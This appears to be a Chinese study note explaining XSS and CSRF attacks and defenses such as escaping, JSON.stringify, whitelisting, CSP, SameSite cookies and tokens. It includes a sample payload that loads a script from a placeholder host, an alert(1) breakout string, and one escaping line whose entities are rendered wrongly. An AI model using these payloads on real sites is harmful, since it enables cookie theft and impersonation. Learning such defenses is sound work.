即注入脚本到页面,为所欲为。例如当后台的html模板为<div>#{content}</div>
,而其中的content正好是我们前台传递过来的url的参数,
这时如果我们传入的url参数为一个脚本,例如<script src='http://xxx.xxx.xx/index.js'></script>
这个时候我们就可以在这注入的脚本里面为所欲为。
如盗用cookies进而冒充登陆,盗取数据等等。
跨站攻击有几种分类:
- url参数直接注入 (反射型)
- 存储到数据库中后被读取时注入 (存储型)
注入点:
- html内容
- 属性
- javaScript代码
- 富文本
可直接使用已有的轮子XSS
。 CSP。
将<
和>
分别用<
和>
来替换
当我们的代码当中含有后台传回来的数据的时候,也有可能由于引号问题而提前结束字符串, 如下
<script>
var data = "#{data}"
// 当出现XSS攻击的时候上面的data可能成为这样: var data = "hello";alert(1);"";
</script>
- 解决办法之一是将data当中的双引号转义
"
=>\"
, 但是这种方式不能完全解决问题 - 正确的解决办法是在返回数据的时候使用JSON.stringfy将数据转换成JSON格式,它会对引号等进行转义,更加方便
- 使用黑名单: 即过滤那些不允许的标签 // 不推荐
- 使用白名单: 遍历html,不在白名单当中的标签和属性应该删除,可使用
cheerio
这个库莱操作dom
内容安全策略( CSP ) - HTTP | MDN
- 参看MDN
通过发送请求来进行攻击,例如有一个网站a, 它有它的前端和后端,当用户登陆后,会在本地保存自己的cookies, 然后有一个攻击者b的网站,当用户无意间,点击进入了b的网站。 b网站的脚本会创建一个form表单,并设置相应的值,然后触发提交,利用form表单的无跨域限制, 冒充用户的身份使用post或者get去发送或者获取一些数据到a网站的后台,这样是特别危险的
设置Cookies的samesite选项,但是现在只有chrome支持它
因为CSRF一般是不会经a网站的前端的,所以我们可以在a网站的前端添加一些信息,这样攻击者的b网站就拿不到我们的信息
- 验证码: 可以用轮子,如
ccap
, 前后端配合,后端生成验证码图片和数据,把图片返回给前端,数据可以用户id为键存储起来,下一次请求来的时候将验证码和之前存的进行比对 - token: 一个随机的字符串。
通过验证referer来禁止第三方网站的访问